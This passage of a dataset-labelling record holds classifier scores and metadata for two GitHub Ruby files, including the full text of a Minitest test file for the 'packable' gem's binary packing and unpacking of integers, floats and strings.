"math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10342, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10342, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:12.396432+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "86e8e7ec-de24-4ec8-982d-eb7e333178f5", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "1ab346b337ddd82bdc7a6c3a0fdd99265583e02a0f4c7af07c86fee440e39c37", "source_metadata": {"uuid": "86e8e7ec-de24-4ec8-982d-eb7e333178f5", "repo_name": "jweisman/alma-blacklight", "relative_path": "app/models/marc_indexer.rb", "category": "DATA", "algo_rel_score": 0.8203195929527283, "quality_score": 3.839311122894287, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 18, "repo_created_at": "2016-07-15T03:15:37.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 13, "forks": 7, "issues": 0, "pull_requests": 4}, "file_meta": {"content_id": "5615a616ce470e64a0af7933dd3faab7e6e0fcbd", "size_bytes": 5468, "file_timestamp": 1632903069, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9454fce622f420ecac593f7572f185cc651c4720"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 18, "repo_created_at": "2016-07-15T03:15:37.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 13, "forks": 7, "issues": 0, "pull_requests": 4}, "file_meta": {"content_id": "5615a616ce470e64a0af7933dd3faab7e6e0fcbd", "size_bytes": 5468, "file_timestamp": 1632903069, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "9454fce622f420ecac593f7572f185cc651c4720", "url": "https://github.com/jweisman/alma-blacklight/blob/9454fce622f420ecac593f7572f185cc651c4720/app/models/marc_indexer.rb"}, "gpt4o_tokens": 1624, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7777785283085138, "noise_severity": 0.01569758186366187, "missing_content_severity": 0.023910074758566928, "factual_density": 3.4165683264781768, "pretraining_utility": 0.25783180110909804, "math_density": 0.05147755776767082, "code_density": 3.909435358089492, "reasoning_density": 0.1681471398819252, "education_level": 2.9385486088201036, "creative_writing_quality": -0.21851151805375138}, "score_applicability": {"education_level": 0.9989457195623381, "creative_writing_quality": 0.00039455785913933625}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/marcandre/packable/blob/e35f64697e2f9f48b1a8bc0f9d71e4bd1ee8511e/test/packing_test.rb", "id": "ruby-0-42179a64fb985fee937ca51aa479431c", "text": "require File.expand_path(File.dirname(__FILE__) + '/test_helper')\n# Warning: ugly...\n\nclass XYZ\n include Packable\n def write_packed(io, options)\n io << \"xyz\"\n end\n def self.unpack_string(s, options)\n raise \"baddly packed XYZ: #{s}\" unless \"xyz\" == s\n XYZ.new\n end\nend\n\nclass TestingPack < Minitest::Test\n\n context \"Original form\" do\n should \"pack like before\" do\n assert_equal \"a \\000\\000\\000\\001\", [\"a\",1,66].pack(\"A3N\")\n end\n\n should \"be equivalent to new form\" do\n assert_equal [\"a\",1,2.34, 66].pack({:bytes=>3}, {:bytes=>4, :endian=>:big}, {:precision=>:double, :endian=>:big}), [\"a\",1,2.34, 66].pack(\"A3NG\")\n end\n end\n\n def test_shortcuts\n assert_equal 0x123456.pack(:short), 0x123456.pack(:bytes => 2)\n assert_equal 0x3456, 0x123456.pack(:short).unpack(:short)\n end\n\n def test_custom_form\n assert_equal \"xyz\", XYZ.new.pack\n assert_equal XYZ, \"xyz\".unpack(XYZ).class\n end\n\n def test_pack_default\n assert_equal \"\\000\\000\\000\\006\", 6.pack\n assert_equal \"abcd\", \"abcd\".pack\n assert_equal \"\\000\\000\\000\\006abcd\", [6,\"abcd\"].pack\n String.packers.set :flv_signature, :bytes => 3, :fill => \"FLV\"\n assert_equal \"xFL\", \"x\".pack(:flv_signature)\n end\n\n def test_integer\n assert_equal \"\\002\\001\\000\", 258.pack(:bytes => 3, :endian => :little)\n assert_equal 258, Integer.unpack(\"\\002\\001\\000\", :bytes => 3, :endian => :little)\n assert_equal (1<<24)-1, -1.pack(:bytes => 3).unpack(Integer, :bytes => 3, :signed => false)\n assert_equal -1, -1.pack(:bytes => 3).unpack(Integer, :bytes => 3, :signed => true)\n assert_equal 42, 42.pack('L').unpack(Integer, :bytes => 4, :endian => :native)\n assert_raises(ArgumentError){ 42.pack(:endian => \"Geronimo\")}\n end\n\n def test_bignum\n assert_equal 1.pack(:long), ((1 << 69) + 1).pack(:long)\n assert_equal \"*\" + (\"\\000\" * 15), (42 << (8*15)).pack(:bytes => 16)\n assert_equal 42 << (8*15), (42 << (8*15)).pack(:bytes => 16).unpack(Integer, :bytes => 16)\n assert_equal 42 << (8*15), (42 << (8*15)).pack(:bytes => 16).unpack(Bignum, :bytes => 16)\n end\n\n def test_float\n assert_raises(ArgumentError){ Math::PI.pack(:endian => \"Geronimo\")}\n assert_equal Math::PI, Math::PI.pack(:precision => :double, :endian => :native).unpack(Float, :precision => :double, :endian => :native)\n # Issue #1\n assert_equal Math::PI.pack(:precision => :double), Math::PI.pack('G')\n assert_equal Math::PI.pack(:precision => :single), Math::PI.pack('g')\n assert_equal Math::PI.pack(:precision => :double), Math::PI.pack('G')\n end\n\n def test_io\n io = StringIO.new(\"\\000\\000\\000\\006abcdE!\")\n n, s, c = io >> [Fixnum, {:signed=>false}] >> [String, {:bytes => 4}] >> :char\n assert_equal 6, n\n assert_equal \"abcd\", s\n assert_equal 69, c\n assert_equal \"!\", io.read\n end\n\n def test_io_read_nil\n # library was failing to call read_without_packing when invoked with nil.\n io = StringIO.new(\"should read(nil)\")\n assert_equal \"should read(nil)\", io.read(nil)\n end\n\n def test_io_read_to_outbuf\n # library was failing to call read_without_packing when invoked with fixnum and output buffer.\n io = StringIO.new(\"should read(fixnum, buf)\")\n io.read(11, outbuf='')\n assert_equal \"should read\", outbuf\n end\n\n should \"do basic type checking\" do\n assert_raises(TypeError) {\"\".unpack(42, :short)}\n end\n\n context \"Reading beyond the eof\" do\n should \"raises an EOFError when reading\" do\n [\"\", \"x\"].each do |s|\n io = StringIO.new(s)\n assert_raises(EOFError) {io.read(:double)}\n assert_raises(EOFError) {io.read(:short)}\n assert_raises(EOFError) {io.read(String, :bytes => 4)}\n end\n end\n\n should \"return nil for unpacking\" do\n assert_nil \"\".unpack(:double)\n assert_nil \"\".unpack(:short)\n assert_nil \"x\".unpack(:double)\n assert_nil \"x\".unpack(:short)\n end\n end\n\n context \"Filters\" do\n context \"for Object\" do\n Object.packers.set :generic_class_writer do |packer|\n packer.write do |io|\n io << self.class.name << self\n end\n end\n should \"be follow accessible everywhere\" do\n assert_equal \"StringHello\", \"Hello\".pack(:generic_class_writer)\n assert_equal \"Fixnum\\000\\000\\000\\006\", 6.pack(:generic_class_writer)\n end\n end\n context \"for a specific class\" do\n String.packers.set :specific_writer do |packer|\n packer.write do |io|\n io << \"Hello\"\n end\n end\n\n should \"be accessible only from that class and descendants\" do\n assert_equal \"Hello\", \"World\".pack(:specific_writer)\n assert_raises RuntimeError do\n 6.pack(:specific_writer)\n end\n end\n end\n end\n\nend\n", "text_preview": "require File.expand_path(File.dirname(__FILE__) + '/test_helper') # Warning: ugly... class XYZ include Packable def write_packed(io, options) io << \"xyz\" end def self.unpack_string(s, options) raise \"baddly packed XYZ: #{s}\" unless \"xyz\" ==", "input_sha256": "1a7d6f2e34a5169180dc12d4fb301ddb67dd7c8fa9ce98272db38c54b67ca982", "text_sha256": "42179a64fb985fee937ca51aa479431cebd740312f68fbdc38dece1b0f06cb61", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16068, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.1396564243606264, "noise_severity": 0.07537040018755738, "missing_content_severity": 0.007764325353623893, "factual_density": 3.4316127064729174, "pretraining_utility": 0.3903527285649787, "math_density": 0.8060043111481991, "code_density": 3.92859541558403, "reasoning_density": 0.5922774826312601, "education_level": 2.4011497876105006, "creative_writing_quality": -0.19918929821654563}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.007404094192361654, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9904507306582134, "secondary": 0.9755075877219784, "tertiary": 0.9832335990531385, "structured_records": 0.10261552298450485, "procedural_steps": 0.0038380855592112556, "worked_solution": 0.1929275147131267, "contextual_dialogue": 8.279456054766312e-06, "content_quality": 0.5463523879320518, "noise_severity": 0.9371913331770355, "missing_content_severity": 0.9935297288719801, "factual_density": 0.5263439220607646, "pretraining_utility": 0.43446951661940436, "math_density": 0.3283297407098341, "code_density": 0.940496179653358, "reasoning_density": 0.5064354311406165, "education_level": 0.5595273985068179, "creative_writing_quality": 0.9991959699870366, "primary_topic": 0.9957093293381147, "secondary_topic": 0.9799452559001872}, "probability_margin": {"primary": 0.9834456846847105, "secondary": 0.9625084951603535, "tertiary": 0.9757282592349728, "education_level": 0.3336588017229315, "creative_writing_quality": 0.9990001008149766, "primary_topic": 0.993232597382274, "secondary_topic": 0.9717952976348637}, "raw_probabilities": {"primary": {"Academic Writing": 7.164364018324979e-05, "Content Listing": 2.3775022611198306e-05, "Creative Writing": 2.262849510696643e-05, "Customer Support Page": 2.2904295797143865e-05, "Q&A Forum": 1.8275635710554974e-05, "Discussion Thread": 1.0296529027608397e-05, "Comment Section": 1.882407262153035e-05, "Missing Content": 2.7663236051320745e-05, "Knowledge Article": 8.728169143653832e-05, "Legal Notices": 3.180997533937113e-05, "News Article": 7.455374381510474e-06, "Organizational Announcement": 1.7260239340097784e-05, "Nonfiction Writing": 2.100426703496748e-05, "Organizational About Page": 1.5249215010071363e-05, "Personal About Page": 1.5600778910062584e-05, "Personal Blog": 1.0057094188994075e-05, "Product Page": 9.557314398209612e-06, "Spam / Ads": 1.1544043244307945e-05, "Structured Data": 0.0006625881103540746, "Technical Writing": 0.9908486168807878, "Transcript / Interview": 3.176036861236205e-05, "Tutorial / How-To Guide": 0.0006004051375598219, "User Reviews": 1.0866386214822172e-05, "Other / Unknown": 0.007402932196077337}, "secondary": {"Academic Writing": 0.00023124790137897297, "Content Listing": 9.425484058632415e-05, "Creative Writing": 0.00014815949777260967, "Customer Support Page": 0.00010729491427316947, "Q&A Forum": 6.607896926000917e-05, "Discussion Thread": 4.91161412559882e-05, "Comment Section": 0.00011702772980174683, "Missing Content": 0.00023537421886016447, "Knowledge Article": 0.0006058498720070776, "Legal Notices": 0.0001554221922738927, "News Article": 6.679141794511338e-05, "Organizational Announcement": 7.159163566275888e-05, "Nonfiction Writing": 9.199989534071893e-05, "Organizational About Page": 7.030645954303283e-05, "Personal About Page": 6.551376736416754e-05, "Personal Blog": 6.852612682721243e-05, "Product Page": 4.139519582662768e-05, "Spam / Ads": 6.519885254905804e-05, "Structured Data": 0.004336942703168544, "Technical Writing": 0.014019609739875866, "Transcript / Interview": 0.00010124438974130257, "Tutorial / How-To Guide": 0.0026217406547346038, "User Reviews": 4.120798372175263e-05, "NONE": 0.9765281049002293}, "tertiary": {"Academic Writing": 0.0001593321023605101, "Content Listing": 6.065730199342221e-05, "Creative Writing": 0.00011476009093588345, "Customer Support Page": 8.477867879014464e-05, "Q&A Forum": 5.0843660236459676e-05, "Discussion Thread": 4.38635108155826e-05, "Comment Section": 0.00017557891355160174, "Missing Content": 0.000392149305944786, "Knowledge Article": 0.0007774707861625214, "Legal Notices": 0.00024661581702181934, "News Article": 5.380852041887546e-05, "Organizational Announcement": 5.812265207563877e-05, "Nonfiction Writing": 0.00011657174617972128, "Organizational About Page": 6.52249961905862e-05, "Personal About Page": 4.7069202968333966e-05, "Personal Blog": 4.4625105629841984e-05, "Product Page": 3.157340048307461e-05, "Spam / Ads": 5.737569513446051e-05, "Structured Data": 0.003006850760680923, "Technical Writing": 0.008203939857618223, "Transcript / Interview": 7.820672218174578e-05, "Tutorial / How-To Guide": 0.0021628533811572695, "User Reviews": 3.552869887767197e-05, "NONE": 0.983932199092591}, "structured_records": {"false": 0.8973844770154952, "true": 0.10261552298450485}, "procedural_steps": {"false": 0.9961619144407887, "true": 0.0038380855592112556}, "worked_solution": {"false": 0.8070724852868734, "true": 0.1929275147131267}, "contextual_dialogue": {"false": 0.9999917205439453, "true": 8.279456054766312e-06}, "content_quality": {"-2": 0.0050218724407461324, "-1": 0.013976471452064047, "0": 0.15934179483408917, "1": 0.47964308185201854, "2": 0.3420167794210821}, "noise_severity": {"0": 0.9289644748877145, "1": 0.06834508237657605, "2": 0.0015602639857167566, "3": 0.0006159251604229373, "4": 0.0005142535895697508}, "missing_content_severity": {"0": 0.9947129162385641, "1": 0.0034487706313534746, "2": 0.0013341050995365237, "3": 0.0003694875989862375, "4": 0.0001347204315596646}, "factual_density": {"0": 0.0036381571092164045, "1": 0.007674300461363046, "2": 0.07735025785116918, "3": 0.37611124800378926, "4": 0.5352260365744621}, "pretraining_utility": {"-2": 0.010115648821416095, "-1": 0.12391062810303582, "0": 0.40542920390477244, "1": 0.3865943840307045, "2": 0.07395013514007112}, "math_density": {"0": 0.5738383364922833, "1": 0.2269378701896435, "2": 0.09006370294278342, "3": 0.03770132642817, "4": 0.07145876394711967}, "code_density": {"0": 0.00014253028346669037, "1": 0.0002674163819058259, "2": 0.00553355840619219, "3": 0.058965097324001875, "4": 0.9350913976044335}, "reasoning_density": {"0": 0.6958330583848912, "1": 0.13433417887304797, "2": 0.09201184945881895, "3": 0.0373640482923934, "4": 0.040456864990848516}, "education_level": {"none": 0.0009671688563033802, "0": 0.0012242517870874779, "1": 0.009082384188573116, "2": 0.6329394987556816, "3": 0.29928069703275006, "4": 0.05650599937960445}, "creative_writing_quality": {"not_applicable": 0.9993299749891972, "-2": 8.205800283728892e-05, "-1": 0.00013090534660838943, "0": 0.0003298741742205551, "1": 9.28154336799723e-05, "2": 3.437205345680494e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.7380274453633836e-05, "Art & Design": 3.6748403760831783e-05, "Law & Crime": 2.6200346267799312e-05, "Education & Careers": 2.552437414631185e-05, "Entertainment & Media": 2.0890560123546457e-05, "Fashion & Beauty": 1.2478791120608766e-05, "Business, Economics & Finance": 3.556417951442364e-05, "Food & Dining": 1.9595465985043647e-05, "Games & Gaming": 5.999098012794621e-05, "Electronics & Hardware": 0.00012154565034468842, "Health, Healthcare & Wellness": 1.7324259616732645e-05, "History & Geography": 2.2532754692028628e-05, "Home, Pets & Hobbies": 2.2726358698649704e-05, "Industry & Production": 2.1259289952094518e-05, "Language, Literature & Philosophy": 0.00011543637353862658, "Politics & Government": 1.6627593493235902e-05, "Religion & Spirituality": 2.7331358454998668e-05, "Science, Mathematics & Engineering": 0.0026417577505286386, "Relationships & Community": 1.281585183134206e-05, "Software Usage & Applications": 0.00046127257700600183, "Programming & Software Engineering": 0.9958743551328026, "Sports & Fitness": 3.951816663591041e-05, "Vehicles & Transportation": 1.5203424647255685e-05, "Travel & Tourism": 4.149026852249069e-05, "Other / Uncovered Subject": 0.00022203079825150327, "Unknown / Insufficient Content": 6.23990154830364e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00015515982281417065, "Art & Design": 0.00010870159142705521, "Law & Crime": 0.00011884666239998514, "Education & Careers": 0.00010086731529630288, "Entertainment & Media": 0.00010266505604072376, "Fashion & Beauty": 4.9538832815385724e-05, "Business, Economics & Finance": 0.00010468954347291068, "Food & Dining": 5.010058234195993e-05, "Games & Gaming": 0.00012098353587998942, "Electronics & Hardware": 0.00016107149212474668, "Health, Healthcare & Wellness": 5.233316655494576e-05, "History & Geography": 5.671752516807968e-05, "Home, Pets & Hobbies": 4.423138501599442e-05, "Industry & Production": 3.7957139512477135e-05, "Language, Literature & Philosophy": 0.0003562261212356343, "Politics & Government": 6.065938554978121e-05, "Religion & Spirituality": 7.04989463105153e-05, "Science, Mathematics & Engineering": 0.007300956957037639, "Relationships & Community": 3.3481967304356026e-05, "Software Usage & Applications": 0.00086244265382756, "Programming & Software Engineering": 0.008921294576854796, "Sports & Fitness": 6.1003898241126816e-05, "Vehicles & Transportation": 2.4359601949591618e-05, "Travel & Tourism": 9.182413962596389e-05, "Other / Uncovered Subject": 0.0002367958894797942, "NONE": 0.9807165922117185}}, "probabilities": {"primary": {"Academic Writing": 7.164364018324979e-05, "Content Listing": 2.3775022611198306e-05, "Creative Writing": 2.262849510696643e-05, "Customer Support Page": 2.2904295797143865e-05, "Q&A Forum": 1.8275635710554974e-05, "Discussion Thread": 1.0296529027608397e-05, "Comment Section": 1.882407262153035e-05, "Missing Content": 2.7663236051320745e-05, "Knowledge Article": 8.728169143653832e-05, "Legal Notices": 3.180997533937113e-05, "News Article": 7.455374381510474e-06, "Organizational Announcement": 1.7260239340097784e-05, "Nonfiction Writing": 2.100426703496748e-05, "Organizational About Page": 1.5249215010071363e-05, "Personal About Page": 1.5600778910062584e-05, "Personal Blog": 1.0057094188994075e-05, "Product Page": 9.557314398209612e-06, "Spam / Ads": 1.1544043244307945e-05, "Structured Data": 0.0006625881103540746, "Technical Writing": 0.9908486168807878, "Transcript / Interview": 3.176036861236205e-05, "Tutorial / How-To Guide": 0.0006004051375598219, "User Reviews": 1.0866386214822172e-05, "Other / Unknown": 0.007402932196077337}, "secondary": {"Academic Writing": 0.00023124790137897297, "Content Listing": 9.425484058632415e-05, "Creative Writing": 0.00014815949777260967, "Customer Support Page": 0.00010729491427316947, "Q&A Forum": 6.607896926000917e-05, "Discussion Thread": 4.91161412559882e-05, "Comment Section": 0.00011702772980174683, "Missing Content": 0.00023537421886016447, "Knowledge Article": 0.0006058498720070776, "Legal Notices": 0.0001554221922738927, "News Article": 6.679141794511338e-05, "Organizational Announcement": 7.159163566275888e-05, "Nonfiction Writing": 9.199989534071893e-05, "Organizational About Page": 7.030645954303283e-05, "Personal About Page": 6.551376736416754e-05, "Personal Blog": 6.852612682721243e-05, "Product Page": 4.139519582662768e-05, "Spam / Ads": 6.519885254905804e-05, "Structured Data": 0.004336942703168544, "Technical Writing": 0.014019609739875866, "Transcript / Interview": 0.00010124438974130257, "Tutorial / How-To Guide": 0.0026217406547346038, "User Reviews": 4.120798372175263e-05, "NONE": 0.9765281049002293}, "tertiary": {"Academic Writing": 0.0001593321023605101, "Content Listing": 6.065730199342221e-05, "Creative Writing": 0.00011476009093588345, "Customer Support Page": 8.477867879014464e-05, "Q&A Forum": 5.0843660236459676e-05, "Discussion Thread": 4.38635108155826e-05, "Comment Section": 0.00017557891355160174, "Missing Content": 0.000392149305944786, "Knowledge Article": 0.0007774707861625214, "Legal Notices": 0.00024661581702181934, "News Article": 5.380852041887546e-05, "Organizational Announcement": 5.812265207563877e-05, "Nonfiction Writing": 0.00011657174617972128, "Organizational About Page": 6.52249961905862e-05, "Personal About Page": 4.7069202968333966e-05, "Personal Blog": 4.4625105629841984e-05, "Product Page": 3.157340048307461e-05, "Spam / Ads": 5.737569513446051e-05, "Structured Data": 0.003006850760680923, "Technical Writing": 0.008203939857618223, "Transcript / Interview": 7.820672218174578e-05, "Tutorial / How-To Guide": 0.0021628533811572695, "User Reviews": 3.552869887767197e-05, "NONE": 0.983932199092591}, "structured_records": {"false": 0.8973844770154952, "true": 0.10261552298450485}, "procedural_steps": {"false": 0.9961619144407887, "true": 0.0038380855592112556}, "worked_solution": {"false": 0.8070724852868734, "true": 0.1929275147131267}, "contextual_dialogue": {"false": 0.9999917205439453, "true": 8.279456054766312e-06}, "content_quality": {"-2": 0.0050218724407461324, "-1": 0.013976471452064047, "0": 0.15934179483408917, "1": 0.47964308185201854, "2": 0.3420167794210821}, "noise_severity": {"0": 0.9289644748877145, "1": 0.06834508237657605, "2": 0.0015602639857167566, "3": 0.0006159251604229373, "4": 0.0005142535895697508}, "missing_content_severity": {"0": 0.9947129162385641, "1": 0.0034487706313534746, "2": 0.0013341050995365237, "3": 0.0003694875989862375, "4": 0.0001347204315596646}, "factual_density": {"0": 0.0036381571092164045, "1": 0.007674300461363046, "2": 0.07735025785116918, "3": 0.37611124800378926, "4": 0.5352260365744621}, "pretraining_utility": {"-2": 0.010115648821416095, "-1": 0.12391062810303582, "0": 0.40542920390477244, "1": 0.3865943840307045, "2": 0.07395013514007112}, "math_density": {"0": 0.5738383364922834, "1": 0.22693787018964354, "2": 0.09006370294278343, "3": 0.03770132642817001, "4": 0.07145876394711968}, "code_density": {"0": 0.00014253028346669037, "1": 0.0002674163819058259, "2": 0.00553355840619219, "3": 0.058965097324001875, "4": 0.9350913976044335}, "reasoning_density": {"0": 0.6958330583848912, "1": 0.13433417887304797, "2": 0.09201184945881895, "3": 0.0373640482923934, "4": 0.040456864990848516}, "education_level": {"none": 0.0009671688563033802, "0": 0.0012242517870874779, "1": 0.009082384188573116, "2": 0.6329394987556816, "3": 0.29928069703275006, "4": 0.05650599937960445}, "creative_writing_quality": {"not_applicable": 0.999329974989197, "-2": 8.205800283728891e-05, "-1": 0.0001309053466083894, "0": 0.00032987417422055505, "1": 9.281543367997228e-05, "2": 3.437205345680493e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.7380274453633836e-05, "Art & Design": 3.6748403760831783e-05, "Law & Crime": 2.6200346267799312e-05, "Education & Careers": 2.552437414631185e-05, "Entertainment & Media": 2.0890560123546457e-05, "Fashion & Beauty": 1.2478791120608766e-05, "Business, Economics & Finance": 3.556417951442364e-05, "Food & Dining": 1.9595465985043647e-05, "Games & Gaming": 5.999098012794621e-05, "Electronics & Hardware": 0.00012154565034468842, "Health, Healthcare & Wellness": 1.7324259616732645e-05, "History & Geography": 2.2532754692028628e-05, "Home, Pets & Hobbies": 2.2726358698649704e-05, "Industry & Production": 2.1259289952094518e-05, "Language, Literature & Philosophy": 0.00011543637353862658, "Politics & Government": 1.6627593493235902e-05, "Religion & Spirituality": 2.7331358454998668e-05, "Science, Mathematics & Engineering": 0.0026417577505286386, "Relationships & Community": 1.281585183134206e-05, "Software Usage & Applications": 0.00046127257700600183, "Programming & Software Engineering": 0.9958743551328026, "Sports & Fitness": 3.951816663591041e-05, "Vehicles & Transportation": 1.5203424647255685e-05, "Travel & Tourism": 4.149026852249069e-05, "Other / Uncovered Subject": 0.00022203079825150327, "Unknown / Insufficient Content": 6.23990154830364e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00015515982281417065, "Art & Design": 0.00010870159142705521, "Law & Crime": 0.00011884666239998514, "Education & Careers": 0.00010086731529630288, "Entertainment & Media": 0.00010266505604072376, "Fashion & Beauty": 4.9538832815385724e-05, "Business, Economics & Finance": 0.00010468954347291068, "Food & Dining": 5.010058234195993e-05, "Games & Gaming": 0.00012098353587998942, "Electronics & Hardware": 0.00016107149212474668, "Health, Healthcare & Wellness": 5.233316655494576e-05, "History & Geography": 5.671752516807968e-05, "Home, Pets & Hobbies": 4.423138501599442e-05, "Industry & Production": 3.7957139512477135e-05, "Language, Literature & Philosophy": 0.0003562261212356343, "Politics & Government": 6.065938554978121e-05, "Religion & Spirituality": 7.04989463105153e-05, "Science, Mathematics & Engineering": 0.007300956957037639, "Relationships & Community": 3.3481967304356026e-05, "Software Usage & Applications": 0.00086244265382756, "Programming & Software Engineering": 0.008921294576854796, "Sports & Fitness": 6.1003898241126816e-05, "Vehicles & Transportation": 2.4359601949591618e-05, "Travel & Tourism": 9.182413962596389e-05, "Other / Uncovered Subject": 0.0002367958894797942, "NONE": 0.9807165922117185}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10068, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10068, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:16.188597+00:00", "scoring_key_slot": "primary", "dataset_uid": "4035b177-a8fd-4ed5-a4af-03e849361780", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "b8aa4c3142e87f92ebed9cc91f76cdf1a1a170f09e90fbc3f74ed9671a4ccaa8", "source_metadata": {"uuid": "4035b177-a8fd-4ed5-a4af-03e849361780", "repo_name": "marcandre/packable", "relative_path": "test/packing_test.rb", "category": "TEST", "algo_rel_score": 0.8882986307144165, "quality_score": 5.358487129211426, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 100, "repo_created_at": "2008-11-11T05:56:30.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 30, "forks": 25, "issues": 0, "pull_requests": 1}, "file_meta": {"content_id": "894ba671b350ce909b003da6e5e5a83b0c41a4b1", "size_bytes": 4716, "file_timestamp": 1688682450, "language": 